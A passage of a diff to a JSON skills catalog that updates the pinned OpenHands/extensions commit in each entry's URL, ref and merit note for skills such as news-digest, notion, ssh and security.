"https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/migration-scoring/skills/migration-scoring", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/migration-scoring/skills/migration-scoring", "tree_sha": "d7bb843a85e64349b97add0947677273f79c36ce", "skill_md_sha256": "46764ec6b66b3d1ebdfcc25c771235b45a4b88fa4467fcb002208996665be0ee", @@ -1629,7 +1629,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Adds rubric-driven migration evaluation and reports; plugin hooks are not installed by the skills CLI. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/migration-scoring/skills/migration-scoring/SKILL.md:1" + "merit_note": "Adds rubric-driven migration evaluation and reports; plugin hooks are not installed by the skills CLI. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/migration-scoring/skills/migration-scoring/SKILL.md:1" }, { "name": "modern-python", @@ -1657,8 +1657,8 @@ { "name": "news-digest", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/news-digest", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/news-digest", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/news-digest", "tree_sha": "0992f4bc12fbc02444662a3870abe0a755ad1b5f", "skill_md_sha256": "833aace23ab5b4a5fc44aec71962d1cc0ae88172c4c7659052b3c7f1ada9cf5c", @@ -1674,13 +1674,13 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Defines deduplicated feed collection and dated source summaries for recurring research. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/news-digest/SKILL.md:1" + "merit_note": "Defines deduplicated feed collection and dated source summaries for recurring research. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/news-digest/SKILL.md:1" }, { "name": "notion", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/notion", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/notion", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/notion", "tree_sha": "f9d670bf2279e7da84fc7da6276cb3854ac9d64e", "skill_md_sha256": "2ae4b3833a31781501c64e50ecfdda7c1abff34cc33687b039737a2731ab7ac7", @@ -1696,13 +1696,13 @@ "research" ], "status": "trial", - "merit_note": "Structures authorized team context, incident evidence or knowledge records; external messages require session authority. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/notion/SKILL.md:1" + "merit_note": "Structures authorized team context, incident evidence or knowledge records; external messages require session authority. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/notion/SKILL.md:1" }, { "name": "npm", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/npm", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/npm", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/npm", "tree_sha": "34c1b85200cd6c5629b9c3b997a928aaa8a9e307", "skill_md_sha256": "f29251d112f6ba935eed0b36ccae2696f9080bdeb7fd852846f729161f7e30f2", @@ -1718,13 +1718,13 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/npm/SKILL.md:1" + "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/npm/SKILL.md:1" }, { "name": "openhands-api", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/openhands-api", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/openhands-api", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/openhands-api", "tree_sha": "eaec51032ac36cf864f0079bd67698bf41adec04", "skill_md_sha256": "f0124b4e04066b3b575d7d11c93aaac16014df7e1eeaaff03383b1b26613259e", @@ -1739,13 +1739,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Documents native OpenHands agent construction or orchestration APIs instead of a replacement runtime. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/openhands-api/SKILL.md:1" + "merit_note": "Documents native OpenHands agent construction or orchestration APIs instead of a replacement runtime. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/openhands-api/SKILL.md:1" }, { "name": "openhands-automation", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/openhands-automation", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/openhands-automation", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/openhands-automation", "tree_sha": "7c5f5a3d5317e187eb9b95d407570a6e93ce989b", "skill_md_sha256": "b6201e8cd9900476cb14ccc60f92bcb3c3a61847a6bad3cb259d95f385e09a28", @@ -1760,13 +1760,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Documents native OpenHands agent construction or orchestration APIs instead of a replacement runtime. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/openhands-automation/SKILL.md:1" + "merit_note": "Documents native OpenHands agent construction or orchestration APIs instead of a replacement runtime. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/openhands-automation/SKILL.md:1" }, { "name": "openhands-enterprise-troubleshooting", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/openhands-enterprise-troubleshooting", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/openhands-enterprise-troubleshooting", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/openhands-enterprise-troubleshooting", "tree_sha": "bbe40867eeaa2d890a57df32331003d35ea0635a", "skill_md_sha256": "b7baa048b8fbcbb971dd0be8d96104689091b58304ffea276819ad0fabd51382", @@ -1781,13 +1781,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Uses native logs, metrics or deployment state for operational diagnosis when the required service is present. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/openhands-enterprise-troubleshooting/SKILL.md:1" + "merit_note": "Uses native logs, metrics or deployment state for operational diagnosis when the required service is present. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/openhands-enterprise-troubleshooting/SKILL.md:1" }, { "name": "openhands-sdk", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/openhands-sdk", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/openhands-sdk", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/openhands-sdk", "tree_sha": "65f0af3cda9aa9df67f7e65b7276408cb457d531", "skill_md_sha256": "033b9e64ec7639f4b793dc1fbf856757ac35dad096e0efc795f27872aa920a97", @@ -1802,7 +1802,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Documents native OpenHands agent construction or orchestration APIs instead of a replacement runtime. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/openhands-sdk/SKILL.md:1" + "merit_note": "Documents native OpenHands agent construction or orchestration APIs instead of a replacement runtime. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/openhands-sdk/SKILL.md:1" }, { "name": "pdf", @@ -1830,8 +1830,8 @@ { "name": "pdflatex", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/pdflatex", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/pdflatex", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/pdflatex", "tree_sha": "67c755b61c4ae488a59a98d34a160305fd2bb747", "skill_md_sha256": "cf92e9e088dffea0c4849d85fa1d50697e1285f77896a3b03eec026ce61ff889", @@ -1848,13 +1848,13 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Handles document or research-report artifacts through the format-specific upstream workflow. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/pdflatex/SKILL.md:1" + "merit_note": "Handles document or research-report artifacts through the format-specific upstream workflow. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/pdflatex/SKILL.md:1" }, { "name": "plain-english-content", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/plain-english-content", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/plain-english-content", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/plain-english-content", "tree_sha": "67903279d5ec4d43eb69f16fcbc964a3bde22862", "skill_md_sha256": "2ef939ec154a2555a1018233ab818a4b0c92b16668c747b1ad9886a567c04ca2", @@ -1871,7 +1871,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Provides verifiable citations or reader-oriented documentation procedures for worker outputs. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/plain-english-content/SKILL.md:1" + "merit_note": "Provides verifiable citations or reader-oriented documentation procedures for worker outputs. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/plain-english-content/SKILL.md:1" }, { "name": "playwright", @@ -1921,8 +1921,8 @@ { "name": "prd", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/prd", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/prd", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/prd", "tree_sha": "d009702520f9617ffea98984b75f176a7d9535e9", "skill_md_sha256": "5de2431f9ceb205f76978940b7c1c65e503bb9603410088b8af75bdf2749eb61", @@ -1939,7 +1939,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Turns requirements into bounded designs or specifications before implementation. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/prd/SKILL.md:1" + "merit_note": "Turns requirements into bounded designs or specifications before implementation. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/prd/SKILL.md:1" }, { "name": "property-based-testing", @@ -1968,8 +1968,8 @@ { "name": "qa-changes", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/qa-changes", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/qa-changes", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/qa-changes", "tree_sha": "350f5d613a6d9d05ab6a4fc0adfaf9a62249e21e", "skill_md_sha256": "e4819ced02fce8f19436d2314eb8426e4b4d2519cefa41c000908b53c45ff971", @@ -1985,7 +1985,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Exercises browser-visible behavior and retains observable QA artifacts for applications and extraction callers. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/qa-changes/SKILL.md:1" + "merit_note": "Exercises browser-visible behavior and retains observable QA artifacts for applications and extraction callers. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/qa-changes/SKILL.md:1" }, { "name": "receiving-code-review", @@ -2012,8 +2012,8 @@ { "name": "release-notes", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/release-notes", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/release-notes", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/release-notes", "tree_sha": "1494e93e3459d395907a4c00b815f93858bca20b", "skill_md_sha256": "5250f2d1aa52272a91f0b0469f6b52079d4931b8bf32784b559706c87b8aeffb", @@ -2029,7 +2029,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Derives categorized release notes from repository history rather than model recollection. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/release-notes/SKILL.md:1" + "merit_note": "Derives categorized release notes from repository history rather than model recollection. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/release-notes/SKILL.md:1" }, { "name": "requesting-code-review", @@ -2080,8 +2080,8 @@ { "name": "research-brief", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/research-brief", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/research-brief", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/research-brief", "tree_sha": "96203abcbcdf42313e48380d51b5785e8d2a823b", "skill_md_sha256": "662a6bf42ec9964bfe9d7f996ffe0fb388fec3e7c955df473d4bd729cd8309e6", @@ -2098,7 +2098,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Defines recurring source-led research briefs with verifiable sources; Tavily/Notion integrations require native setup and publishing authority. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/research-brief/SKILL.md:1" + "merit_note": "Defines recurring source-led research briefs with verifiable sources; Tavily/Notion integrations require native setup and publishing authority. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/research-brief/SKILL.md:1" }, { "name": "sarif-parsing", @@ -2125,8 +2125,8 @@ { "name": "score-quality", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/migration-scoring/skills/score-quality", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/migration-scoring/skills/score-quality", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/migration-scoring/skills/score-quality", "tree_sha": "15e66548eca0b7a0fc52d2f6ba528b9cd028d525", "skill_md_sha256": "c0a0955e32eff9c6671b9d2d68eae9d55134d78c5193bd3fda506b50e020fd8a", @@ -2142,13 +2142,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Adds rubric-driven migration evaluation and reports; plugin hooks are not installed by the skills CLI. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/migration-scoring/skills/score-quality/SKILL.md:1" + "merit_note": "Adds rubric-driven migration evaluation and reports; plugin hooks are not installed by the skills CLI. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/migration-scoring/skills/score-quality/SKILL.md:1" }, { "name": "score-style", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/migration-scoring/skills/score-style", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/migration-scoring/skills/score-style", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/migration-scoring/skills/score-style", "tree_sha": "5ea273ae511d5fc02eedeb0afe55c11c0712d65a", "skill_md_sha256": "7c461adc030dda47100f26f8acea6c3098975789c7646b17eec8549985f30702", @@ -2164,7 +2164,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Adds rubric-driven migration evaluation and reports; plugin hooks are not installed by the skills CLI. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/migration-scoring/skills/score-style/SKILL.md:1" + "merit_note": "Adds rubric-driven migration evaluation and reports; plugin hooks are not installed by the skills CLI. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/migration-scoring/skills/score-style/SKILL.md:1" }, { "name": "search-first", @@ -2194,8 +2194,8 @@ { "name": "security", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/security", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/security", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/security", "tree_sha": "17f0062e8f675bce2b5c4d3d6ffb30a6e94017d6", "skill_md_sha256": "887a8c46466e388665d4b6679a6d1fe02c6a79b527c38aed6a5a6291b6831fa3", @@ -2211,7 +2211,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Adds secure design and trust-boundary review for runtime tools and untrusted extracted inputs. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/security/SKILL.md:1" + "merit_note": "Adds secure design and trust-boundary review for runtime tools and untrusted extracted inputs. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/security/SKILL.md:1" }, { "name": "security-audit", @@ -2306,8 +2306,8 @@ { "name": "setup-agents-md", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/onboarding/skills/setup-agents-md", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/onboarding/skills/setup-agents-md", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/onboarding/skills/setup-agents-md", "tree_sha": "4699322855418d8df34d0c8e0d61042d267ff026", "skill_md_sha256": "33abece9c9e2726377e39d4adb0569ed46c6336e8bfc41e290462940e008a613", @@ -2323,13 +2323,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Checks and improves repository instructions and feedback loops for autonomous workers. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/onboarding/skills/setup-agents-md/SKILL.md:1" + "merit_note": "Checks and improves repository instructions and feedback loops for autonomous workers. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/onboarding/skills/setup-agents-md/SKILL.md:1" }, { "name": "setup-openhands", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/onboarding/skills/setup-openhands", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/onboarding/skills/setup-openhands", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/onboarding/skills/setup-openhands", "tree_sha": "160dd94a55fb88d883a3f7b576378a0140e26a7a", "skill_md_sha256": "1c2381e0c1547d3c5efe675f3ae0a6e863fefb5e6867178162772770522f9629", @@ -2344,13 +2344,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Supplies native workflow setup and debugging procedures instead of generated CI guesses. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/onboarding/skills/setup-openhands/SKILL.md:1" + "merit_note": "Supplies native workflow setup and debugging procedures instead of generated CI guesses. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/onboarding/skills/setup-openhands/SKILL.md:1" }, { "name": "setup-pr-review", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/onboarding/skills/setup-pr-review", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/onboarding/skills/setup-pr-review", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/onboarding/skills/setup-pr-review", "tree_sha": "fa20714069063b154a9afc08c21bbb6acbc2817c", "skill_md_sha256": "70b8d5fb44619412ff7b9bc7794a94ab4a6ab9f14198218c85739463026b1513", @@ -2365,7 +2365,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Provides review dispatch or review API procedures; installation grants no permission to post or merge. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/onboarding/skills/setup-pr-review/SKILL.md:1" + "merit_note": "Provides review dispatch or review API procedures; installation grants no permission to post or merge. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/onboarding/skills/setup-pr-review/SKILL.md:1" }, { "name": "skill-creator", @@ -2394,8 +2394,8 @@ { "name": "slack-channel-monitor", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/slack-channel-monitor", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/slack-channel-monitor", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/slack-channel-monitor", "tree_sha": "d3dfabd9f8790f45e6a15274510050817dd6d0da", "skill_md_sha256": "2699798becdf629b7a837bca297c91fe26fa486fdf2a3a80ca628c56463f3f40", @@ -2411,13 +2411,13 @@ "research" ], "status": "trial", - "merit_note": "Structures authorized team context, incident evidence or knowledge records; external messages require session authority. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/slack-channel-monitor/SKILL.md:1" + "merit_note": "Structures authorized team context, incident evidence or knowledge records; external messages require session authority. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/slack-channel-monitor/SKILL.md:1" }, { "name": "slack-standup-digest", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/slack-standup-digest", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/slack-standup-digest", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/slack-standup-digest", "tree_sha": "9e7ff432df4f3610aaf5628503b8e69122fe119e", "skill_md_sha256": "58e779cdde7f0029d31df290f0d3a93600fa902ba077393b392a51cbd7e5e699", @@ -2433,13 +2433,13 @@ "research" ], "status": "trial", - "merit_note": "Structures authorized team context, incident evidence or knowledge records; external messages require session authority. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/slack-standup-digest/SKILL.md:1" + "merit_note": "Structures authorized team context, incident evidence or knowledge records; external messages require session authority. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/slack-standup-digest/SKILL.md:1" }, { "name": "spark-version-upgrade", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/spark-version-upgrade", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/spark-version-upgrade", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/spark-version-upgrade", "tree_sha": "1fade147a86861825148668e9157b8078a45b32b", "skill_md_sha256": "4351d37aec3b7b19cc52bba87aaa8c48c67c0ee4a50e73afcb175aeca4fe4762", @@ -2455,13 +2455,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers specialized language migrations with test fixtures and explicit transformation steps. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/spark-version-upgrade/SKILL.md:1" + "merit_note": "Covers specialized language migrations with test fixtures and explicit transformation steps. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/spark-version-upgrade/SKILL.md:1" }, { "name": "ssh", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/ssh", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/ssh", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/ssh", "tree_sha": "3faad5282472c8b5ccb6ecdef8ef3c5e0f64251d", "skill_md_sha256": "ca7cca10ed32ca284afafecff35fa3218aa9baee1ed62ab415393adfe9817324", @@ -2477,7 +2477,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/ssh/SKILL.md:1" + "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/ssh/SKILL.md:1" }, { "name": "subagent-driven-development", @@ -2525,8 +2525,8 @@ { "name": "swift-linux", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/swift-linux", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/swift-linux", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/swift-linux", "tree_sha": "60790b9ebdbbf4794cc5614e999f08b8b90bce88", "skill_md_sha256": "e4c39d4cfd04335df7e6d6d799470143ac7e805d7a98ca9366f2867a65c80ccc", @@ -2542,7 +2542,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/swift-linux/SKILL.md:1" + "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/swift-linux/SKILL.md:1" }, { "name": "systematic-debugging", @@ -2593,8 +2593,8 @@ { "name": "technical-writing", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/technical-writing", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/technical-writing", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/technical-writing", "tree_sha": "c3d06b8ed68fbdff5c19d8e03ffba2de2530b081", "skill_md_sha256": "ddd627776d70161f3296dbbbb79c9592a9d89e4eab0622b9217eed648dae7b05", @@ -2611,7 +2611,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Provides verifiable citations or reader-oriented documentation procedures for worker outputs. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/technical-writing/SKILL.md:1" + "merit_note": "Provides verifiable citations or reader-oriented documentation procedures for worker outputs. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/technical-writing/SKILL.md:1" }, { "name": "test-driven-development", @@ -2638,8 +2638,8 @@ { "name": "theme-factory", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/theme-factory", - "ref": 